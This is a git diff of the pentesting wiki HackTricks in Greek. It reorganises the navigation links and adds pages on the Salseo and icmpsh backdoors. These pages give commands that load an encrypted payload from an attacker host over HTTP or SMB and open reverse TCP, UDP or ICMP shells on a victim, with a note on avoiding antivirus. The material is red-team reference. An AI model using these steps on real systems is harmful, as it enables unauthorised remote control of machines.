* [Z3 - Satisfiability Modulo Theories (SMT)](reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md)
|
* [Z3 - Satisfiability Modulo Theories (SMT)](reversing-and-exploiting/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md)
|
||||||
* [Cheat Engine](reversing/reversing-tools-basic-methods/cheat-engine.md)
|
* [Cheat Engine](reversing-and-exploiting/reversing-tools-basic-methods/cheat-engine.md)
|
||||||
* [Blobrunner](reversing/reversing-tools-basic-methods/blobrunner.md)
|
* [Blobrunner](reversing-and-exploiting/reversing-tools-basic-methods/blobrunner.md)
|
||||||
* [Common API used in Malware](reversing/common-api-used-in-malware.md)
|
* [Common API used in Malware](reversing-and-exploiting/common-api-used-in-malware.md)
|
||||||
* [Word Macros](reversing/word-macros.md)
|
* [Word Macros](reversing-and-exploiting/word-macros.md)
|
||||||
* [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md)
|
* [Linux Exploiting (Basic) (SPA)](reversing-and-exploiting/linux-exploiting-basic-esp/README.md)
|
||||||
* [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md)
|
* [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md)
|
||||||
* [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md)
|
* [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md)
|
||||||
* [Ret2lib](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md)
|
* [Ret2lib](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md)
|
||||||
* [Leaking libc address with ROP](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md)
|
* [Leaking libc address with ROP](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/leaking-libc-address-with-rop/README.md)
|
||||||
* [Leaking libc - template](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
* [Leaking libc - template](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/leaking-libc-address-with-rop/leaking-libc-template.md)
|
||||||
* [Stack Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md)
|
* [Stack Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md)
|
||||||
* [Stack Pivoting - EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
* [Stack Pivoting - EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||||
* [Pointer Redirecting](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md)
|
* [Pointer Redirecting](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md)
|
||||||
|
@ -727,47 +727,47 @@
|
||||||
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||||
* [Common Exploiting Problems](reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md)
|
* [Common Exploiting Problems](reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md)
|
||||||
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||||
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
|
* [Fusion](reversing-and-exploiting/linux-exploiting-basic-esp/fusion.md)
|
||||||
* [Exploiting Tools](exploiting/tools/README.md)
|
* [Exploiting Tools](reversing-and-exploiting/tools/README.md)
|
||||||
* [PwnTools](exploiting/tools/pwntools.md)
|
* [PwnTools](reversing-and-exploiting/tools/pwntools.md)
|
||||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
* [Windows Exploiting (Basic Guide - OSCP lvl)](reversing-and-exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||||
|
|
||||||
## 🔮 Crypto & Stego
|
## 🔮 Crypto & Stego
|
||||||
|
|
||||||
* [Cryptographic/Compression Algorithms](reversing/cryptographic-algorithms/README.md)
|
* [Cryptographic/Compression Algorithms](crypto-and-stego/cryptographic-algorithms/README.md)
|
||||||
* [Unpacking binaries](reversing/cryptographic-algorithms/unpacking-binaries.md)
|
* [Unpacking binaries](crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md)
|
||||||
* [Certificates](cryptography/certificates.md)
|
* [Certificates](crypto-and-stego/certificates.md)
|
||||||
* [Cipher Block Chaining CBC-MAC](cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
* [Cipher Block Chaining CBC-MAC](crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||||
* [Crypto CTFs Tricks](cryptography/crypto-ctfs-tricks.md)
|
* [Crypto CTFs Tricks](crypto-and-stego/crypto-ctfs-tricks.md)
|
||||||
* [Electronic Code Book (ECB)](cryptography/electronic-code-book-ecb.md)
|
* [Electronic Code Book (ECB)](crypto-and-stego/electronic-code-book-ecb.md)
|
||||||
* [Hash Length Extension Attack](cryptography/hash-length-extension-attack.md)
|
* [Hash Length Extension Attack](crypto-and-stego/hash-length-extension-attack.md)
|
||||||
* [Padding Oracle](cryptography/padding-oracle-priv.md)
|
* [Padding Oracle](crypto-and-stego/padding-oracle-priv.md)
|
||||||
* [RC4 - Encrypt\&Decrypt](cryptography/rc4-encrypt-and-decrypt.md)
|
* [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
|
||||||
* [Stego Tricks](stego/stego-tricks.md)
|
* [Stego Tricks](crypto-and-stego/stego-tricks.md)
|
||||||
* [Esoteric languages](stego/esoteric-languages.md)
|
* [Esoteric languages](crypto-and-stego/esoteric-languages.md)
|
||||||
* [Blockchain & Crypto Currencies](blockchain/blockchain-and-crypto-currencies/README.md)
|
* [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md)
|
||||||
|
|
||||||
## 🦂 C2
|
## 🦂 C2
|
||||||
|
|
||||||
* [Salseo](backdoors/salseo.md)
|
* [Salseo](c2/salseo.md)
|
||||||
* [ICMPsh](backdoors/icmpsh.md)
|
* [ICMPsh](c2/icmpsh.md)
|
||||||
* [Cobalt Strike](c2/cobalt-strike.md)
|
* [Cobalt Strike](c2/cobalt-strike.md)
|
||||||
|
|
||||||
## ✍️ TODO
|
## ✍️ TODO
|
||||||
|
|
||||||
* [Other Big References](misc/references.md)
|
* [Other Big References](todo/references.md)
|
||||||
* [Rust Basics](todo/rust-basics.md)
|
* [Rust Basics](todo/rust-basics.md)
|
||||||
* [More Tools](todo/more-tools.md)
|
* [More Tools](todo/more-tools.md)
|
||||||
* [MISC](todo/misc.md)
|
* [MISC](todo/misc.md)
|
||||||
* [Pentesting DNS](pentesting-dns.md)
|
* [Pentesting DNS](todo/pentesting-dns.md)
|
||||||
* [Hardware Hacking](todo/hardware-hacking/README.md)
|
* [Hardware Hacking](todo/hardware-hacking/README.md)
|
||||||
* [I2C](todo/hardware-hacking/i2c.md)
|
* [I2C](todo/hardware-hacking/i2c.md)
|
||||||
* [UART](todo/hardware-hacking/uart.md)
|
* [UART](todo/hardware-hacking/uart.md)
|
||||||
* [Radio](todo/hardware-hacking/radio.md)
|
* [Radio](todo/hardware-hacking/radio.md)
|
||||||
* [JTAG](todo/hardware-hacking/jtag.md)
|
* [JTAG](todo/hardware-hacking/jtag.md)
|
||||||
* [SPI](todo/hardware-hacking/spi.md)
|
* [SPI](todo/hardware-hacking/spi.md)
|
||||||
* [Radio Hacking](radio-hacking/README.md)
|
* [Radio Hacking](todo/radio-hacking/README.md)
|
||||||
* [Pentesting RFID](radio-hacking/pentesting-rfid.md)
|
* [Pentesting RFID](todo/radio-hacking/pentesting-rfid.md)
|
||||||
* [Infrared](todo/radio-hacking/infrared.md)
|
* [Infrared](todo/radio-hacking/infrared.md)
|
||||||
* [Sub-GHz RF](todo/radio-hacking/sub-ghz-rf.md)
|
* [Sub-GHz RF](todo/radio-hacking/sub-ghz-rf.md)
|
||||||
* [iButton](todo/radio-hacking/ibutton.md)
|
* [iButton](todo/radio-hacking/ibutton.md)
|
||||||
|
@ -779,16 +779,16 @@
|
||||||
* [FZ - 125kHz RFID](todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
|
* [FZ - 125kHz RFID](todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
|
||||||
* [Proxmark 3](todo/radio-hacking/proxmark-3.md)
|
* [Proxmark 3](todo/radio-hacking/proxmark-3.md)
|
||||||
* [FISSURE - The RF Framework](todo/radio-hacking/fissure-the-rf-framework.md)
|
* [FISSURE - The RF Framework](todo/radio-hacking/fissure-the-rf-framework.md)
|
||||||
* [Low-Power Wide Area Network](radio-hacking/low-power-wide-area-network.md)
|
* [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md)
|
||||||
* [Pentesting BLE - Bluetooth Low Energy](radio-hacking/pentesting-ble-bluetooth-low-energy.md)
|
* [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
|
||||||
* [Burp Suite](burp-suite.md)
|
* [Burp Suite](todo/burp-suite.md)
|
||||||
* [Other Web Tricks](other-web-tricks.md)
|
* [Other Web Tricks](todo/other-web-tricks.md)
|
||||||
* [Interesting HTTP](interesting-http.md)
|
* [Interesting HTTP](todo/interesting-http.md)
|
||||||
* [Emails Vulnerabilities](emails-vulns.md)
|
* [Emails Vulnerabilities](todo/emails-vulns.md)
|
||||||
* [Android Forensics](android-forensics.md)
|
* [Android Forensics](todo/android-forensics.md)
|
||||||
* [TR-069](todo/tr-069.md)
|
* [TR-069](todo/tr-069.md)
|
||||||
* [6881/udp - Pentesting BitTorrent](6881-udp-pentesting-bittorrent.md)
|
* [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md)
|
||||||
* [Online Platforms with API](online-platforms-with-api.md)
|
* [Online Platforms with API](todo/online-platforms-with-api.md)
|
||||||
* [Stealing Sensitive Information Disclosure from a Web](stealing-sensitive-information-disclosure-from-a-web.md)
|
* [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
|
||||||
* [Post Exploitation](post-exploitation.md)
|
* [Post Exploitation](todo/post-exploitation.md)
|
||||||
* [Cookies Policy](todo/cookies-policy.md)
|
* [Cookies Policy](todo/cookies-policy.md)
|
||||||
|
|
50
c2/icmpsh.md
Normal file
50
c2/icmpsh.md
Normal file
|
@ -0,0 +1,50 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
Κατεβάστε την πίσω πόρτα από: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
|
||||||
|
|
||||||
|
# Πλευρά πελάτη
|
||||||
|
|
||||||
|
Εκτελέστε το σενάριο: **run.sh**
|
||||||
|
|
||||||
|
**Εάν λάβετε κάποιο σφάλμα, δοκιμάστε να αλλάξετε τις γραμμές:**
|
||||||
|
```bash
|
||||||
|
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
|
||||||
|
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
|
||||||
|
```
|
||||||
|
**Για:**
|
||||||
|
```bash
|
||||||
|
echo Please insert the IP where you want to listen
|
||||||
|
read IP
|
||||||
|
```
|
||||||
|
# **Πλευρά Θύματος**
|
||||||
|
|
||||||
|
Μεταφορτώστε το **icmpsh.exe** στο θύμα και εκτελέστε το:
|
||||||
|
```bash
|
||||||
|
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
|
||||||
|
```
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
184
c2/salseo.md
Normal file
184
c2/salseo.md
Normal file
|
@ -0,0 +1,184 @@
|
||||||
|
# Salseo
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Συντάσσοντας τα δυαδικά αρχεία
|
||||||
|
|
||||||
|
Κατεβάστε τον πηγαίο κώδικα από το github και συντάξτε τα **EvilSalsa** και **SalseoLoader**. Θα χρειαστεί να έχετε εγκατεστημένο το **Visual Studio** για να συντάξετε τον κώδικα.
|
||||||
|
|
||||||
|
Συντάξτε αυτά τα έργα για την αρχιτεκτονική του παραθύρου όπου θα τα χρησιμοποιήσετε (Αν τα Windows υποστηρίζουν x64, συντάξτε τα για αυτές τις αρχιτεκτονικές).
|
||||||
|
|
||||||
|
Μπορείτε να **επιλέξετε την αρχιτεκτονική** μέσα στο Visual Studio στην **αριστερή καρτέλα "Build"** στο **"Platform Target".**
|
||||||
|
|
||||||
|
(\*\*Αν δεν μπορείτε να βρείτε αυτές τις επιλογές, πατήστε στην **"Project Tab"** και μετά στις **"Ιδιότητες \<Ονομασίας Έργου>"**)
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (132).png>)
|
||||||
|
|
||||||
|
Στη συνέχεια, συντάξτε και τα δύο έργα (Build -> Build Solution) (Μέσα στα logs θα εμφανιστεί η διαδρομή του εκτελέσιμου αρχείου):
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
|
||||||
|
|
||||||
|
## Προετοιμασία της Παρασκήνιας Πόρτας
|
||||||
|
|
||||||
|
Καταρχάς, θα πρέπει να κωδικοποιήσετε το **EvilSalsa.dll.** Για να το κάνετε αυτό, μπορείτε να χρησιμοποιήσετε το σενάριο python **encrypterassembly.py** ή μπορείτε να συντάξετε το έργο **EncrypterAssembly**:
|
||||||
|
|
||||||
|
### **Python**
|
||||||
|
```
|
||||||
|
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||||
|
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
|
||||||
|
```
|
||||||
|
### Windows
|
||||||
|
```
|
||||||
|
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||||
|
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||||
|
```
|
||||||
|
Τώρα έχετε ό,τι χρειάζεστε για να εκτελέσετε όλο το Salseo: το **κωδικοποιημένο EvilDalsa.dll** και το **δυαδικό του SalseoLoader.**
|
||||||
|
|
||||||
|
**Μεταφορτώστε το δυαδικό SalseoLoader.exe στη μηχανή. Δεν πρέπει να ανιχνευθεί από κανένα AV...**
|
||||||
|
|
||||||
|
## **Εκτέλεση της πίσω πόρτας**
|
||||||
|
|
||||||
|
### **Λήψη εναλλακτικού κέλυφους TCP (λήψη κωδικοποιημένου dll μέσω HTTP)**
|
||||||
|
|
||||||
|
Θυμηθείτε να ξεκινήσετε ένα nc ως ακροατής αντίστροφου κελύφους και ένα διακομιστή HTTP για να εξυπηρετήσετε το κωδικοποιημένο evilsalsa.
|
||||||
|
```
|
||||||
|
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
||||||
|
```
|
||||||
|
### Λήψη ενός αντίστροφου κέλυφους UDP (λήψη κωδικοποιημένου dll μέσω SMB)
|
||||||
|
|
||||||
|
Θυμηθείτε να ξεκινήσετε ένα nc ως ακροατή αντίστροφου κελύφους και ένα διακομιστή SMB για να εξυπηρετήσει το κωδικοποιημένο evilsalsa (impacket-smbserver).
|
||||||
|
```
|
||||||
|
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||||
|
```
|
||||||
|
### **Λήψη ενός αντίστροφου κελύφους ICMP (κωδικοποιημένο dll ήδη μέσα στο θύμα)**
|
||||||
|
|
||||||
|
**Αυτή τη φορά χρειάζεστε ένα ειδικό εργαλείο στον πελάτη για να λάβετε το αντίστροφο κελύφους. Λήψη:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||||
|
|
||||||
|
#### **Απενεργοποίηση απαντήσεων ICMP:**
|
||||||
|
```
|
||||||
|
sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
||||||
|
|
||||||
|
#You finish, you can enable it again running:
|
||||||
|
sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
||||||
|
```
|
||||||
|
#### Εκτέλεση του πελάτη:
|
||||||
|
```
|
||||||
|
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||||
|
```
|
||||||
|
#### Μέσα στο θύμα, ας εκτελέσουμε το πράγμα salseo:
|
||||||
|
```
|
||||||
|
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||||
|
```
|
||||||
|
## Συναρμολόγηση του SalseoLoader ως DLL εξαγωγής κύριας συνάρτησης
|
||||||
|
|
||||||
|
Ανοίξτε το έργο SalseoLoader χρησιμοποιώντας το Visual Studio.
|
||||||
|
|
||||||
|
### Προσθέστε πριν από την κύρια συνάρτηση: \[DllExport]
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||||
|
|
||||||
|
### Εγκατάσταση DllExport για αυτό το έργο
|
||||||
|
|
||||||
|
#### **Εργαλεία** --> **Διαχείριση πακέτων NuGet** --> **Διαχείριση πακέτων NuGet για τη λύση...**
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||||
|
|
||||||
|
#### **Αναζήτηση για το πακέτο DllExport (χρησιμοποιώντας την καρτέλα Περιήγηση), και πατήστε Εγκατάσταση (και αποδεχτείτε το αναδυόμενο παράθυρο)**
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||||
|
|
||||||
|
Στο φάκελο του έργου σας εμφανίζονται τα αρχεία: **DllExport.bat** και **DllExport\_Configure.bat**
|
||||||
|
|
||||||
|
### **Απεγκατάσταση DllExport**
|
||||||
|
|
||||||
|
Πατήστε **Απεγκατάσταση** (ναι, είναι περίεργο αλλά εμπιστευτείτε με, είναι απαραίτητο)
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
|
||||||
|
|
||||||
|
### **Έξοδος από το Visual Studio και εκτέλεση του DllExport\_configure**
|
||||||
|
|
||||||
|
Απλά **βγείτε** από το Visual Studio
|
||||||
|
|
||||||
|
Στη συνέχεια, πηγαίνετε στον φάκελο του **SalseoLoader** και **εκτελέστε το DllExport\_Configure.bat**
|
||||||
|
|
||||||
|
Επιλέξτε **x64** (αν πρόκειται να το χρησιμοποιήσετε μέσα σε ένα x64 box, όπως στην περίπτωσή μου), επιλέξτε **System.Runtime.InteropServices** (μέσα στο **Namespace for DllExport**) και πατήστε **Εφαρμογή**
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
|
||||||
|
|
||||||
|
### **Ανοίξτε ξανά το έργο με το Visual Studio**
|
||||||
|
|
||||||
|
Το **\[DllExport]** δε θα πρέπει πλέον να εμφανίζεται ως σφάλμα
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (8) (1).png>)
|
||||||
|
|
||||||
|
### Κατασκευή της λύσης
|
||||||
|
|
||||||
|
Επιλέξτε **Τύπος Εξόδου = Βιβλιοθήκη κλάσεων** (Έργο --> Ιδιότητες SalseoLoader --> Εφαρμογή --> Τύπος εξόδου = Βιβλιοθήκη κλάσεων)
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (10) (1).png>)
|
||||||
|
|
||||||
|
Επιλέξτε **πλατφόρμα x64** (Έργο --> Ιδιότητες SalseoLoader --> Κατασκευή --> Στόχος πλατφόρμας = x64)
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (9) (1) (1).png>)
|
||||||
|
|
||||||
|
Για να **κατασκευάσετε** τη λύση: Κατασκευή --> Κατασκευή Λύσης (Μέσα στην κονσόλα εξόδου θα εμφανιστεί η διαδρομή του νέου DLL)
|
||||||
|
|
||||||
|
### Δοκιμάστε το παραγόμενο Dll
|
||||||
|
|
||||||
|
Αντιγράψτε και επικολλήστε το Dll όπου θέλετε να το δοκιμάσετε.
|
||||||
|
|
||||||
|
Εκτελέστε:
|
||||||
|
```
|
||||||
|
rundll32.exe SalseoLoader.dll,main
|
||||||
|
```
|
||||||
|
Αν δεν εμφανίζεται κάποιο σφάλμα, πιθανότατα έχετε ένα λειτουργικό DLL!!
|
||||||
|
|
||||||
|
## Λήψη κέλυφους χρησιμοποιώντας το DLL
|
||||||
|
|
||||||
|
Μην ξεχάσετε να χρησιμοποιήσετε ένα **HTTP** **server** και να ορίσετε ένα **nc** **listener**
|
||||||
|
|
||||||
|
### Powershell
|
||||||
|
```
|
||||||
|
$env:pass="password"
|
||||||
|
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
|
||||||
|
$env:lhost="10.2.0.5"
|
||||||
|
$env:lport="1337"
|
||||||
|
$env:shell="reversetcp"
|
||||||
|
rundll32.exe SalseoLoader.dll,main
|
||||||
|
```
|
||||||
|
### CMD
|
||||||
|
|
||||||
|
### Εντολή
|
||||||
|
```
|
||||||
|
set pass=password
|
||||||
|
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||||
|
set lhost=10.2.0.5
|
||||||
|
set lport=1337
|
||||||
|
set shell=reversetcp
|
||||||
|
rundll32.exe SalseoLoader.dll,main
|
||||||
|
```
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||||
|
|
||||||
|
</details>
|
146
crypto-and-stego/blockchain-and-crypto-currencies.md
Normal file
146
crypto-and-stego/blockchain-and-crypto-currencies.md
Normal file
|
@ -0,0 +1,146 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
